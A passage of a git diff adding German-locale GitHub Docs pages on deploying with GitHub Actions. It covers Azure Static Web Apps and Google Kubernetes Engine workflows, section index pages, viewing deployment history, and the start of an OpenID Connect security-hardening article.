+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+
+## Introduction
+
+This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a web app to [Azure Static Web Apps](https://azure.microsoft.com/services/app-service/static/).
+
+{% ifversion fpt or ghec or ghes > 3.4 %}
+
+{% note %}
+
+**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
+
+{% endnote %}
+
+{% endif %}
+
+## Prerequisites
+
+Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+
+1. Create an Azure Static Web App using the 'Other' option for deployment source. For more information, see "[Quickstart: Building your first static site in the Azure portal](https://docs.microsoft.com/azure/static-web-apps/get-started-portal)" in the Azure documentation. 
+
+2. Create a secret called `AZURE_STATIC_WEB_APPS_API_TOKEN` with the value of your static web app deployment token. For more information about how to find your deployment token, see "[Reset deployment tokens in Azure Static Web Apps](https://docs.microsoft.com/azure/static-web-apps/deployment-token-management)" in the Azure documentation.
+
+## Creating the workflow
+
+Once you've completed the prerequisites, you can proceed with creating the workflow.
+
+The following example workflow demonstrates how to build and deploy an Azure static web app when there is a push to the `main` branch or when a pull request targeting `main` is opened, synchronized, or reopened. The workflow also tears down the corresponding pre-production deployment when a pull request targeting `main` is closed.
+
+Under the workflow `env` key, change the following values:
+- `APP_LOCATION` to the location of your client code
+- `API_LOCATION` to the location of your API source code. If `API_LOCATION` is not relevant, you can delete the variable and the lines where it is used.
+- `APP_ARTIFACT_LOCATION` to the location of your client code build output
+
+For more information about these values, see "[Build configuration for Azure Static Web Apps](https://docs.microsoft.com/azure/static-web-apps/build-configuration?tabs=github-actions)" in the Azure documentation.
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Deploy web app to Azure Static Web Apps
+
+env:
+  APP_LOCATION: "/" # location of your client code
+  API_LOCATION: "api" # location of your api source code - optional
+  APP_ARTIFACT_LOCATION: "build" # location of client code build output
+
+on:
+  push:
+    branches:
+      - main
+  pull_request:
+    types: [opened, synchronize, reopened, closed]
+    branches:
+      - main
+
+permissions:
+  issues: write
+  contents: read
+
+jobs:
+  build_and_deploy:
+    if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
+    runs-on: ubuntu-latest
+    name: Build and Deploy
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+        with:
+          submodules: true
+      - name: Build And Deploy
+        uses: Azure/static-web-apps-deploy@1a947af9992250f3bc2e68ad0754c0b0c11566c9
+        with:
+          azure_static_web_apps_api_token: {% raw %}${{ secrets.AZURE_STATIC_WEB_APPS_API_TOKEN }}{% endraw %}
+          repo_token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+          action: "upload"
+          app_location: {% raw %}${{ env.APP_LOCATION }}{% endraw %}
+          api_location: {% raw %}${{ env.API_LOCATION }}{% endraw %}
+          app_artifact_location: {% raw %}${{ env.APP_ARTIFACT_LOCATION }}{% endraw %}
+
+  close:
+    if: github.event_name == 'pull_request' && github.event.action == 'closed'
+    runs-on: ubuntu-latest
+    name: Close
+    steps:
+      - name: Close
+        uses: Azure/static-web-apps-deploy@1a947af9992250f3bc2e68ad0754c0b0c11566c9
+        with:
+          azure_static_web_apps_api_token: {% raw %}${{ secrets.AZURE_STATIC_WEB_APPS_API_TOKEN }}{% endraw %}
+          action: "close"
+```
+
+## Additional resources
+
+The following resources may also be useful:
+
+* For the original starter workflow, see [`azure-staticwebapp.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-staticwebapp.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
+* The action used to deploy the web app is the official Azure [`Azure/static-web-apps-deploy`](https://github.com/Azure/static-web-apps-deploy) action.
+* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md b/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md
new file mode 100644
index 0000000000..5da8d1a532
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md
@@ -0,0 +1,26 @@
+---
+title: Bereitstellung in Azure
+shortTitle: Deploy to Azure
+intro: 'Erfahre, wie du Azure App Service, Azure Kubernetes und Azure Static Web App als Teil deiner Continuous Deployment-Workflows (CD) bereitstellen kannst.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /deploying-nodejs-to-azure-app-service
+  - /deploying-python-to-azure-app-service
+  - /deploying-java-to-azure-app-service
+  - /deploying-net-to-azure-app-service
+  - /deploying-php-to-azure-app-service
+  - /deploying-docker-to-azure-app-service
+  - /deploying-to-azure-static-web-app
+  - /deploying-to-azure-kubernetes-service
+ms.openlocfilehash: 3f46da1c3e78358f16221a305fa38d6e0b8ca80f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145088604'
+---
+
diff --git a/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md b/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md
new file mode 100644
index 0000000000..1e2f09b304
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md
@@ -0,0 +1,220 @@
+---
+title: Deploying to Google Kubernetes Engine
+intro: You can deploy to Google Kubernetes Engine as part of your continuous deployment (CD) workflows.
+redirect_from:
+  - /actions/guides/deploying-to-google-kubernetes-engine
+  - /actions/deployment/deploying-to-google-kubernetes-engine
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CD
+  - Containers
+  - Google Kubernetes Engine
+shortTitle: Deploy to Google Kubernetes Engine
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Introduction
+
+This guide explains how to use {% data variables.product.prodname_actions %} to build a containerized application, push it to Google Container Registry (GCR), and deploy it to Google Kubernetes Engine (GKE) when there is a push to the `main` branch.
+
+GKE is a managed Kubernetes cluster service from Google Cloud that can host your containerized workloads in the cloud or in your own datacenter. For more information, see [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine).
+
+{% ifversion fpt or ghec or ghes > 3.4 %}
+
+{% note %}
+
+**Note**: {% data reusables.actions.about-oidc-short-overview %}
+
+{% endnote %}
+
+{% endif %}
+
+## Prerequisites
+
+Before you proceed with creating the workflow, you will need to complete the following steps for your Kubernetes project. This guide assumes the root of your project already has a `Dockerfile` and a Kubernetes Deployment configuration file. For an example, see [google-github-actions](https://github.com/google-github-actions/setup-gcloud/tree/master/example-workflows/gke).
+
+### Creating a GKE cluster
+
+To create the GKE cluster, you will first need to authenticate using the `gcloud` CLI. For more information on this step, see the following articles:
+- [`gcloud auth login`](https://cloud.google.com/sdk/gcloud/reference/auth/login)
+- [`gcloud` CLI](https://cloud.google.com/sdk/gcloud/reference)
+- [`gcloud` CLI and Cloud SDK](https://cloud.google.com/sdk/gcloud#the_gcloud_cli_and_cloud_sdk)
+
+For example:
+
+{% raw %}
+```bash{:copy}
+$ gcloud container clusters create $GKE_CLUSTER \
+	--project=$GKE_PROJECT \
+	--zone=$GKE_ZONE
+```
+{% endraw %}
+
+### Enabling the APIs
+
+Enable the Kubernetes Engine and Container Registry APIs. For example:
+
+{% raw %}
+```bash{:copy}
+$ gcloud services enable \
+	containerregistry.googleapis.com \
+	container.googleapis.com
+```
+{% endraw %}
+
+### Configuring a service account and storing its credentials
+
+This procedure demonstrates how to create the service account for your GKE integration. It explains how to create the account, add roles to it, retrieve its keys, and store them as a base64-encoded encrypted repository secret named `GKE_SA_KEY`.
+
+1. Create a new service account:
+  {% raw %}
+  ```
+  $ gcloud iam service-accounts create $SA_NAME
+  ```
+  {% endraw %}
+1. Retrieve the email address of the service account you just created:
+  {% raw %}
+  ```
+  $ gcloud iam service-accounts list
+  ```
+  {% endraw %}
+1. Add roles to the service account. Note: Apply more restrictive roles to suit your requirements.
+  {% raw %}
+  ```
+  $ gcloud projects add-iam-policy-binding $GKE_PROJECT \
+  	--member=serviceAccount:$SA_EMAIL \
+  	--role=roles/container.admin
+  $ gcloud projects add-iam-policy-binding $GKE_PROJECT \
+  	--member=serviceAccount:$SA_EMAIL \
+  	--role=roles/storage.admin
+  $ gcloud projects add-iam-policy-binding $GKE_PROJECT \
+  	--member=serviceAccount:$SA_EMAIL \
+  	--role=roles/container.clusterViewer
+  ```
+  {% endraw %}
+1. Download the JSON keyfile for the service account:
+  {% raw %}
+  ```
+  $ gcloud iam service-accounts keys create key.json --iam-account=$SA_EMAIL
+  ```
+  {% endraw %}
+1. Store the service account key as a secret named `GKE_SA_KEY`:
+  {% raw %}
+  ```
+  $ export GKE_SA_KEY=$(cat key.json | base64)
+  ```
+  {% endraw %}
+  For more information about how to store a secret, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
+
+### Storing your project name
+
+Store the name of your project as a secret named `GKE_PROJECT`. For more information about how to store a secret, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
+
+### (Optional) Configuring kustomize
+Kustomize is an optional tool used for managing YAML specs. After creating a `kustomization` file, the workflow below can be used to dynamically set fields of the image and pipe in the result to `kubectl`. For more information, see [kustomize usage](https://github.com/kubernetes-sigs/kustomize#usage).
+
+### (Optional) Configure a deployment environment
+
+{% data reusables.actions.about-environments %}
+
+## Creating the workflow
+
+Once you've completed the prerequisites, you can proceed with creating the workflow.
+
+The following example workflow demonstrates how to build a container image and push it to GCR. It then uses the Kubernetes tools (such as `kubectl` and `kustomize`) to pull the image into the cluster deployment.
+
+Under the `env` key, change the value of `GKE_CLUSTER` to the name of your cluster, `GKE_ZONE` to your cluster zone, `DEPLOYMENT_NAME` to the name of your deployment, and `IMAGE` to the name of your image.
+
+{% data reusables.actions.delete-env-key %}
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Build and Deploy to GKE
+
+on:
+  push:
+    branches:
+      - main
+
+env:
+  PROJECT_ID: {% raw %}${{ secrets.GKE_PROJECT }}{% endraw %}
+  GKE_CLUSTER: cluster-1    # Add your cluster name here.
+  GKE_ZONE: us-central1-c   # Add your cluster zone here.
+  DEPLOYMENT_NAME: gke-test # Add your deployment name here.
+  IMAGE: static-site
+
+jobs:
+  setup-build-publish-deploy:
+    name: Setup, Build, Publish, and Deploy
+    runs-on: ubuntu-latest
+    environment: production
+
+    steps:
+    - name: Checkout
+      uses: {% data reusables.actions.action-checkout %}
+
+    # Setup gcloud CLI
+    - uses: google-github-actions/setup-gcloud@94337306dda8180d967a56932ceb4ddcf01edae7
+      with:
+        service_account_key: {% raw %}${{ secrets.GKE_SA_KEY }}{% endraw %}
+        project_id: {% raw %}${{ secrets.GKE_PROJECT }}{% endraw %}
+
+    # Configure Docker to use the gcloud command-line tool as a credential
+    # helper for authentication
+    - run: |-
+        gcloud --quiet auth configure-docker
+
+    # Get the GKE credentials so we can deploy to the cluster
+    - uses: google-github-actions/get-gke-credentials@fb08709ba27618c31c09e014e1d8364b02e5042e
+      with:
+        cluster_name: {% raw %}${{ env.GKE_CLUSTER }}{% endraw %}
+        location: {% raw %}${{ env.GKE_ZONE }}{% endraw %}
+        credentials: {% raw %}${{ secrets.GKE_SA_KEY }}{% endraw %}
+
+    # Build the Docker image
+    - name: Build
+      run: |-
+        docker build \
+          --tag "gcr.io/$PROJECT_ID/$IMAGE:$GITHUB_SHA" \
+          --build-arg GITHUB_SHA="$GITHUB_SHA" \
+          --build-arg GITHUB_REF="$GITHUB_REF" \
+          .
+
+    # Push the Docker image to Google Container Registry
+    - name: Publish
+      run: |-
+        docker push "gcr.io/$PROJECT_ID/$IMAGE:$GITHUB_SHA"
+
+    # Set up kustomize
+    - name: Set up Kustomize
+      run: |-
+        curl -sfLo kustomize https://github.com/kubernetes-sigs/kustomize/releases/download/v3.1.0/kustomize_3.1.0_linux_amd64
+        chmod u+x ./kustomize
+
+    # Deploy the Docker image to the GKE cluster
+    - name: Deploy
+      run: |-
+        ./kustomize edit set image gcr.io/PROJECT_ID/IMAGE:TAG=gcr.io/$PROJECT_ID/$IMAGE:$GITHUB_SHA
+        ./kustomize build . | kubectl apply -f -
+        kubectl rollout status deployment/$DEPLOYMENT_NAME
+        kubectl get services -o wide
+```
+
+## Additional resources
+
+For more information on the tools used in these examples, see the following documentation:
+
+* For the full starter workflow, see the ["Build and Deploy to GKE" workflow](https://github.com/actions/starter-workflows/blob/main/deployments/google.yml).
+* For more starter workflows and accompanying code, see Google's [{% data variables.product.prodname_actions %} example workflows](https://github.com/google-github-actions/setup-gcloud/tree/master/example-workflows/).
+* The Kubernetes YAML customization engine: [Kustomize](https://kustomize.io/).
+* "[Deploying a containerized web application](https://cloud.google.com/kubernetes-engine/docs/tutorials/hello-app)" in the Google Kubernetes Engine documentation.
diff --git a/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/index.md b/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/index.md
new file mode 100644
index 0000000000..d4fe4f00e7
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/index.md
@@ -0,0 +1,21 @@
+---
+title: Bereitstellen für deinen Cloudanbieter
+shortTitle: Deploying to your cloud provider
+intro: "Du kannst die Bereitstellung bei verschiedenen Cloudanbietern vornehmen, z.\_B. AWS, Azure und GKE."
+versions:
+  fpt: '*'
+  ghae: '*'
+  ghec: '*'
+  ghes: '*'
+children:
+  - /deploying-to-amazon-elastic-container-service
+  - /deploying-to-azure
+  - /deploying-to-google-kubernetes-engine
+ms.openlocfilehash: 8852113ffb15f70e0c5595f7c3e03facf5b54770
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145088603'
+---
+
diff --git a/translations/de-DE/content/actions/deployment/deploying-xcode-applications/index.md b/translations/de-DE/content/actions/deployment/deploying-xcode-applications/index.md
new file mode 100644
index 0000000000..17d7d8de39
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/deploying-xcode-applications/index.md
@@ -0,0 +1,19 @@
+---
+title: Bereitstellen von Xcode-Anwendungen
+shortTitle: Deploying Xcode applications
+intro: 'Du kannst Xcode-Apps innerhalb deines Continuous Integration-Workflows signieren (CI), indem du ein Apple-Codesignaturzertifikat für {% data variables.product.prodname_actions %}-Runner installierst.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /installing-an-apple-certificate-on-macos-runners-for-xcode-development
+ms.openlocfilehash: 83e0a00e9323734a2423d5115d943e81f7eba33f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145068736'
+---
+
diff --git a/translations/de-DE/content/actions/deployment/index.md b/translations/de-DE/content/actions/deployment/index.md
new file mode 100644
index 0000000000..f61cee8029
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/index.md
@@ -0,0 +1,24 @@
+---
+title: Bereitstellung
+shortTitle: Deployment
+intro: 'Stelle mit {% data variables.product.prodname_actions %} Projekte automatisch bereit.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /about-deployments
+  - /deploying-to-your-cloud-provider
+  - /security-hardening-your-deployments
+  - /targeting-different-environments
+  - /managing-your-deployments
+  - /deploying-xcode-applications
+ms.openlocfilehash: f12dbb4711f43efa6e8a25f0ad274f686d62c654
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145088588'
+---
+
diff --git a/translations/de-DE/content/actions/deployment/managing-your-deployments/index.md b/translations/de-DE/content/actions/deployment/managing-your-deployments/index.md
new file mode 100644
index 0000000000..4c4db1408c
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/managing-your-deployments/index.md
@@ -0,0 +1,19 @@
+---
+title: Verwalten von Bereitstellungen
+shortTitle: Managing your deployments
+intro: Du kannst die vergangene Aktivität deiner Bereitstellungen überprüfen.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /viewing-deployment-history
+ms.openlocfilehash: 3dcd623a837b70d3f6ca5bd4d143697ee8475b70
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145068730'
+---
+
diff --git a/translations/de-DE/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md b/translations/de-DE/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md
new file mode 100644
index 0000000000..c1c36b6a61
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md
@@ -0,0 +1,29 @@
+---
+title: Viewing deployment history
+shortTitle: View deployment history
+intro: View current and previous deployments for your repository.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+redirect_from:
+  - /developers/overview/viewing-deployment-history
+  - /actions/deployment/viewing-deployment-history
+---
+
+
+You can deliver deployments through {% data variables.product.prodname_actions %} and environments or with the REST API and third party apps. {% ifversion fpt or ghae ghes > 3.0 or ghec %}For more information about using environments to deploy with {% data variables.product.prodname_actions %}, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." {% endif %}For more information about deployments with the REST API, see "[Repositories](/rest/reference/repos#deployments)."
+
+To view current and past deployments, click **Environments** on the home page of your repository.
+{% ifversion ghae %}
+![Environments](/assets/images/enterprise/2.22/environments-sidebar.png){% else %}
+![Environments](/assets/images/environments-sidebar.png){% endif %}
+
+The deployments page displays the last active deployment of each environment for your repository. If the deployment includes an environment URL, a **View deployment** button that links to the URL is shown next to the deployment.
+
+The activity log shows the deployment history for your environments. By default, only the most recent deployment for an environment has an `Active` status; all previously active deployments have an `Inactive` status. For more information on automatic inactivation of deployments, see "[Inactive deployments](/rest/reference/deployments#inactive-deployments)."
+
+You can also use the REST API to get information about deployments. For more information, see "[Repositories](/rest/reference/repos#deployments)."
diff --git a/translations/de-DE/content/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect.md b/translations/de-DE/content/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect.md
new file mode 100644
index 0000000000..9e37d80e9c
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect.md
@@ -0,0 +1,452 @@
+---
+title: Informationen zur Sicherheitshärtung mit OpenID Connect
+shortTitle: About security hardening with OpenID Connect
+intro: 'OpenID Connect ermöglicht es deinen Workflows, kurzlebige Token direkt mit deinem Cloudanbieter auszutauschen.'
+miniTocMaxHeadingLevel: 4
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.5'
+type: tutorial
+topics:
+  - Security
+ms.openlocfilehash: 23c541fa3c99b706877fc29c52174c404d5fca3d
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147710267'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Übersicht über OpenID Connect
+
+{% data variables.product.prodname_actions %}-Workflows sind häufig für den Zugriff auf einen Cloudanbieter (z. B. AWS, Azure, GCP oder HashiCorp Vault) ausgelegt, um Software bereitzustellen oder die Clouddienste zu verwenden. Bevor der Workflow auf diese Ressourcen zugreifen kann, werden dem Cloudanbieter Anmeldeinformationen, z. B. ein Kennwort oder ein Token, bereitgestellt. Diese Anmeldeinformationen werden in der Regel als Geheimnis in {% data variables.product.prodname_dotcom %} gespeichert, und der Workflow stellt dieses Geheimnis bei jeder Ausführung für den Cloudanbieter bereit. 
+
+Die Verwendung von hart codierten Geheimnissen erfordert jedoch, dass du Anmeldeinformationen im Cloudanbieter erstellst und dann als Geheimnis in {% data variables.product.prodname_dotcom %} duplizierst. 
+
+Mit OpenID Connect (OIDC) kannst du einen anderen Ansatz verfolgen, indem du deinen Workflow so konfigurierst, dass ein kurzlebiges Zugriffstoken direkt vom Cloudanbieter angefordert wird. Dein Cloudanbieter muss auch OIDC auf seiner Seite unterstützen, und du musst eine Vertrauensstellung konfigurieren, die steuert, welche Workflows die Zugriffstoken anfordern können. Zu den Anbietern, die derzeit OIDC unterstützen, gehören Amazon Web Services, Azure, Google Cloud Platform und HashiCorp Vault.
+
+### Vorteile der Verwendung von OIDC
+
+Wenn du deine Workflows für die Verwendung von OIDC-Token aktualisierst, kannst du die folgenden bewährten Sicherheitspraktiken übernehmen:
+
+- **Keine Cloudgeheimnisse:** Du musst deine Cloudanmeldeinformationen nicht als langlebige {% data variables.product.prodname_dotcom %}-Geheimnisse duplizieren. Stattdessen kannst du die OIDC-Vertrauensstellung auf deinem Cloudanbieter konfigurieren und dann deine Workflows aktualisieren, um ein kurzlebiges Zugriffstoken vom Cloudanbieter über OIDC anzufordern. 
+- **Authentifizierungs- und Autorisierungsverwaltung**: Du hast genauere Kontrolle darüber, wie Workflows Anmeldeinformationen verwenden können, indem du die Authentifizierungs- (authN) und Autorisierungstools (authZ) deines Cloudanbieters verwendest, um den Zugriff auf Cloudressourcen zu steuern.
+- **Rotierende Anmeldeinformationen**: Mit OIDC stellt dein Cloudanbieter ein kurzlebiges Zugriffstoken aus, das nur für einen einzelnen Auftrag gültig ist und dann automatisch abläuft.
+
+### Erste Schritte mit OIDC
+
+Das folgende Diagramm enthält einen Überblick darüber, wie der OIDC-Anbieter von {% data variables.product.prodname_dotcom %} mit deinen Workflows und dem Cloudanbieter integriert ist:
+
+![OIDC-Diagramm](/assets/images/help/images/oidc-architecture.png)
+
+1. Erstelle in deinem Cloudanbieter eine OIDC-Vertrauensstellung zwischen deiner Cloudrolle und deinen {% data variables.product.prodname_dotcom %}-Workflows, die Zugriff auf die Cloud benötigen.
+2. Jedes Mal, wenn dein Auftrag ausgeführt wird, generiert der OIDC-Anbieter von {% data variables.product.prodname_dotcom %} automatisch ein OIDC-Token. Dieses Token enthält mehrere Ansprüche zum Einrichten einer sicherheitsfesten und überprüften Identität über den spezifischen Workflow, der versucht, sich zu authentifizieren.
+3. Du kannst einen Schritt oder eine Aktion in deinem Auftrag einschließen, um dieses Token vom OIDC-Anbieter von {% data variables.product.prodname_dotcom %} anzufordern und es für den Cloudanbieter bereitzustellen.
+4. Nachdem der Cloudanbieter die im Token dargestellten Ansprüche erfolgreich überprüft hat, stellt er ein kurzlebiges Cloudzugriffstoken bereit, das nur für die Dauer des Auftrags verfügbar ist.
+
+## Konfigurieren der OIDC-Vertrauensstellung mit der Cloud
+
+Wenn du deine Cloud so konfigurierst, dass sie dem OIDC-Anbieter von {% data variables.product.prodname_dotcom %} vertraut, **musst** du Bedingungen hinzufügen, die eingehende Anforderungen filtern, sodass nicht vertrauenswürdige Repositorys oder Workflows keine Zugriffstoken für deine Cloudressourcen anfordern können:
+
+- Bevor dein Cloudanbieter ein Zugriffstoken erteilt, überprüft er, ob die [`subject`](https://openid.net/specs/openid-connect-core-1_0.html#StandardClaims) und andere Ansprüche, die zum Festlegen von Bedingungen in seinen Vertrauenseinstellungen verwendet werden, mit denen im JSON-Webtoken (JWT) der Anforderung übereinstimmen. Daher musst du darauf achten, den _Antragsteller_ und andere Bedingungen in deinem Cloudanbieter ordnungsgemäß zu definieren.
+- Die OIDC-Konfigurationsschritte und die Syntax zum Festlegen von Bedingungen für Cloudrollen (mit _Antragsteller_ und anderen Ansprüchen) variieren je nach dem von Ihnen verwendeten Cloudanbieter. Einige Beispiele findest du unter [Beispiele für Antragstelleransprüche](#example-subject-claims).
+ 
+### Grundlegendes zum OIDC-Token
+
+Jeder Auftrag fordert ein OIDC-Token vom OIDC-Anbieter von {% data variables.product.prodname_dotcom %} an, der mit einem automatisch generierten JSON-Webtoken (JWT) reagiert, das für jeden Workflowauftrag, in dem es generiert wird, eindeutig ist. Wenn der Auftrag ausgeführt wird, wird das OIDC-Token für den Cloudanbieter bereitgestellt. Zur Überprüfung des Tokens ermittelt der Cloudanbieter, ob der Antragsteller des OIDC-Tokens und andere Ansprüche mit den Bedingungen übereinstimmen, die für die OIDC-Vertrauensdefinition der Cloudrolle vorkonfiguriert wurden.
+
+Im folgenden Beispiel verwendet das OIDC-Token einen Antragsteller (`sub`), der auf eine Auftragsumgebung namens `prod` im Repository `octo-org/octo-repo` verweist.
+
+```yaml
+{
+  "typ": "JWT",
+  "alg": "RS256",
+  "x5t": "example-thumbprint",
+  "kid": "example-key-id"
+}
+{
+  "jti": "example-id",
+  "sub": "repo:octo-org/octo-repo:environment:prod",
+  "environment": "prod",
+  "aud": "{% ifversion ghes %}https://HOSTNAME{% else %}https://github.com{% endif %}/octo-org",
+  "ref": "refs/heads/main",
+  "sha": "example-sha",
+  "repository": "octo-org/octo-repo",
+  "repository_owner": "octo-org",
+  "actor_id": "12",
+  "repo_visibility": private,
+  "repository_id": "74",
+  "repository_owner_id": "65",
+  "run_id": "example-run-id",
+  "run_number": "10",
+  "run_attempt": "2",
+  "actor": "octocat",
+  "workflow": "example-workflow",
+  "head_ref": "",
+  "base_ref": "",
+  "event_name": "workflow_dispatch",
+  "ref_type": "branch",
+  "job_workflow_ref": "octo-org/octo-automation/.github/workflows/oidc.yml@refs/heads/main",
+  "iss": "{% ifversion ghes %}https://HOSTNAME/_services/token{% else %}https://token.actions.githubusercontent.com{% endif %}",
+  "nbf": 1632492967,
+  "exp": 1632493867,
+  "iat": 1632493567
+}
+```
+
+Zum Anzeigen aller Ansprüche, die vom OIDC-Anbieter von {% data variables.product.prodname_dotcom %} unterstützt werden, lies die `claims_supported`-Einträge unter {% ifversion ghes %}`https://HOSTNAME/_services/token/.well-known/openid-configuration`{% else %}https://token.actions.githubusercontent.com/.well-known/openid-configuration{% endif %}.
+
+Das Token umfasst die Standardzielgruppe, den Aussteller und die Antragstelleransprüche:
+
+|    Anspruch    | BESCHREIBUNG            |
+| ----------- | ---------------------- |
+| `aud`| _(Zielgruppe)_ Standardmäßig ist dies die URL des Repositorybesitzers, z. B. die Organisation, die das Repository besitzt. Dies ist der einzige Anspruch, der angepasst werden kann. Du kannst eine benutzerdefinierte Zielgruppe mit einem Toolkitbefehl festlegen: [`core.getIDToken(audience)`](https://www.npmjs.com/package/@actions/core/v/1.6.0)          | 
+| `iss`| _(Aussteller)_ Der Aussteller des OIDC-Tokens: {% ifversion ghes %}`https://HOSTNAME/_services/token`{% else %}`https://token.actions.githubusercontent.com`{% endif %}                   | 
+| `sub`| _(Antragsteller)_ Definiert den Antragstelleranspruch, der vom Cloudanbieter überprüft werden soll. Diese Einstellung ist wichtig, um sicherzustellen, dass Zugriffstoken nur auf vorhersehbare Weise zugewiesen werden.|
+
+Das OIDC-Token enthält auch zusätzliche Standardansprüche:
+
+|    Anspruch    | BESCHREIBUNG            |
+| ----------- | ---------------------- |
+| `alg`| _(Algorithmus)_ Der Algorithmus, der vom OIDC-Anbieter verwendet wird.                    | 
+| `exp`| _(Ablaufzeit)_ Identifiziert die Ablaufzeit des JWT.                    | 
+| `iat`| _(Ausgestellt um)_ Der Zeitpunkt, zu dem das JWT ausgestellt wurde.                   | 
+| `jti`| _(JWT-Tokenbezeichner)_ Eindeutiger Bezeichner für das OIDC-Token.                   | 
+| `kid`| _(Schlüsselbezeichner)_ Eindeutiger Schlüssel für das OIDC-Token.                   | 
+| `nbf`| _(Nicht vor)_ JWT ist vor diesem Zeitpunkt nicht gültig für die Verwendung.                   | 
+| `typ`| _Typ_ Beschreibt den Tokentyp. Dies ist ein JSON Web Token (JWT).                   | 
+
+Das Token enthält auch benutzerdefinierte Ansprüche, die von {% data variables.product.prodname_dotcom %} bereitgestellt werden:
+
+|    Anspruch    | BESCHREIBUNG            |
+| ----------- | ---------------------- |
+| `actor`| Das persönliche Konto, das die Workflowausführung ausgelöst hat.                   | 
+| `actor_id`| Die ID des persönlichen Kontos, das die Workflowausführung ausgelöst hat.             |
+| `base_ref`| Der Zielbranch des Pull Requests in einer Workflowausführung.                   | 
+| `environment`| Der Name der vom Auftrag verwendeten Umgebung.                    | 
+| `event_name`| Der Name des Ereignisses, das den Workflow-Lauf ausgelöst hat.                    | 
+| `head_ref`| Der Quellbranch des Pull Requests in einer Workflowausführung.                   | 
+| `job_workflow_ref`| Dies ist der Ref-Pfad zum wiederverwendbaren Workflow, der von diesem Auftrag verwendet wird. Weitere Informationen findest du unter [Verwenden von OpenID Connect mit wiederverwendbaren Workflows](/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows).                  | 
+| `ref`| _(Referenz)_ Die Git-Ref, die die Workflowausführung ausgelöst hat.                   | 
+| `ref_type`| Der `ref`-Typ, z. B. „Branch“.                  | 
